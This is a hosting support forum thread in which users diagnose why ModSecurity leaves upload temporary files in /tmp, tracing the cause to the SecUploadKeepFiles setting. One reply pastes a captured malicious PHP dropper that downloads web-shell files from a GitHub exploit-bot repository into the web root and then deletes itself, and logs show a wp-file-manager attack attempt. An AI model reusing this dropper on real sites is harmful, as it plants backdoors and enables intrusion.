ModSecurity request body on tmp not cleaned
Hello,
I have an issue with ModSecurity. Request body and file temporary file on /tmp isn't completely cleared, so I have to clean up very regularly /tmp to avoid it filling up all my disks. Would you know why it have this strange comportment?
On the apache log, I found only this as relevant:
ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/12_HTTP_Protocol.conf"> [line "27"> [id "210230"> [rev "2"> [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||xxxxxxxx.com|F|2"> [data "Multipart parsing error: Multipart: writing to \\x22/tmp/20201111-221153-X6xTmZ@OyBOsxrleqn8PvgAAAc0-file-MZ4
66X\\x22 failed"> [severity "CRITICAL"> [tag "CWAF"> [tag "Protocol"> [hostname "xxxxxxxx.com"> [uri "/wp-json/wp/v2/media"> [unique_id "X6xTmZ@OyBO
sxrleqn8PvgAAAc0">, referer:
-
Hey hey! I don't think that specific ModSecurity entry is related to the issue with /tmp. It seems like that is just normal processing of ModSecurity and it happened to experience an error, but I don't think that shows us the root of the problem. Can you run this command on the server and let me know the output: grep SecDataDir /etc/apache2/conf.d/modsec/modsec2.cpanel.conf
That may let us know what the issue could be, or at least point us in the right direction.0 -
Same/similar issue here. I have 1000s of files in /tmp of this format: YYYYMMDD-hhmmss-random27charstring-file-random6charstring File owner is pretty much any of my cpanel users. Random sizes - some are binary, some are flagged by Configserver exploit scanner others not. Sample screen shot attached. My guess is these are uploaded to /tmp for inspection by modsec, but they just accumulate. Output of: > grep SecDataDir /etc/apache2/conf.d/modsec/modsec2.cpanel.conf SecDataDir "/var/cpanel/secdatadir"
I believe there may be a setting somewhere in modsec to modify this behaviour, but not sure where to look. Thanks for any help.0 -
That is the default output I would expect to see from that grep command. If you check one of the files on the system, is it clear that they are coming from ModSecurity and not from some other tool on the machine? 0 -
Thanks for the reply. There is such a diversity of different content - some are plain text, some binary. Quite a few with suspicious content. I can post a few if that would help? 0 -
Sure! Just make sure to remove any public info like domains or IPs. 0 -
Here's a text-based one: Vuln!! patch it Now! . "/wp-content/vuln.php" ; $text = http_get('https://raw.githubusercontent.com/04x/ICG-AutoExploiterBoT/master/files/up.php'); $open = fopen($check, 'w'); fwrite($open, $text); fclose($open); if(file_exists($check)){ echo $check.""; }else echo "not exits"; echo "done .\n " ; $check2 = $_SERVER['DOCUMENT_ROOT'> . "/vuln.htm" ; $text2 = http_get('https://raw.githubusercontent.com/04x/ICG-AutoExploiterBoT/master/files/vuln.txt'); $open2 = fopen($check2, 'w'); fwrite($open2, $text2); fclose($open2); if(file_exists($check2)){ echo $check2.""; }else echo "not exits"; echo "done .\n " ; @unlink(__FILE__); ?>0 -
Thanks for the details. If these files are owned by the user process itself, I wouldn't expect that to be modsecurity but it could indicate a security issue with the accounts on the system trying to run the code and then not close the temporary session. 0 -
Some of the files are legitimate PDFs, others look malicious. I wonder if they're files that are uploaded to /tmp as a part of an http upload process but then quarantined by ImmunifyAV or some other plugin. Investigations continue, thanks! 0 -
That part I'm not sure about, but I don't feel like these are something Modsec is creating at this point. 0 -
After some digging in my apache error_log, I found the corresponding entries for the files in /tmp. Here's one example from 12-Feb 2021. It would appear that these are being generated by ModSec: [Fri Feb 12 18:22:26.483770 2021] [:error] [pid 32281] [client 35.181.51.252:53254] [client 35.181.51.252] ModSecurity: Warning. Pattern match ".*\\\\.(?:php\\\\d*|phtml)\\\\.*$" at FILES:upload[]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"> [line "65"> [id "933110"> [msg "PHP Injection Attack: PHP Script File Upload Found"> [data "Matched Data: x.php found within FILES:upload[]: x.php"> [severity "CRITICAL"> [ver "OWASP_CRS/3.0.0"> [maturity "1"> [accuracy "8"> [tag "application-multi"> [tag "language-php"> [tag "platform-multi"> [tag "attack-injection-php"> [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"> [tag "OWASP_TOP_10/A1"> [hostname "**redacted**"> [uri "/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"> [unique_id "YCbHYk5MoLRBiYHSvddmFwAAAA0">
The long string in the file name in /tmp matches the unique_id from the log. The question then becomes: why are only some of the ModSec 'hits' resulting in a file being left in /tmp?0 -
I checked some more systems on my end and I'm not 100% sure why that would be happening. It would definitely be worth opening a ticket so we could get you more details. If you do that, please post the number here so I can follow along and make sure everyone stays updated. 0 -
I really appreciate the effort you folks are putting into this. After reading Austin's article and their response to my support ticket, I realised that the setting on my system is here: grep -R "SecUpload" /etc/apache2/
etc/apache2/conf.d/modsec_vendor_configs/configserver/00_configserver.conf:SecUploadKeepFiles RelevantOnly
That pointed me toward my CXS plugin so I searched their forum and found this post:0
Please sign in to leave a comment.
Comments
13 comments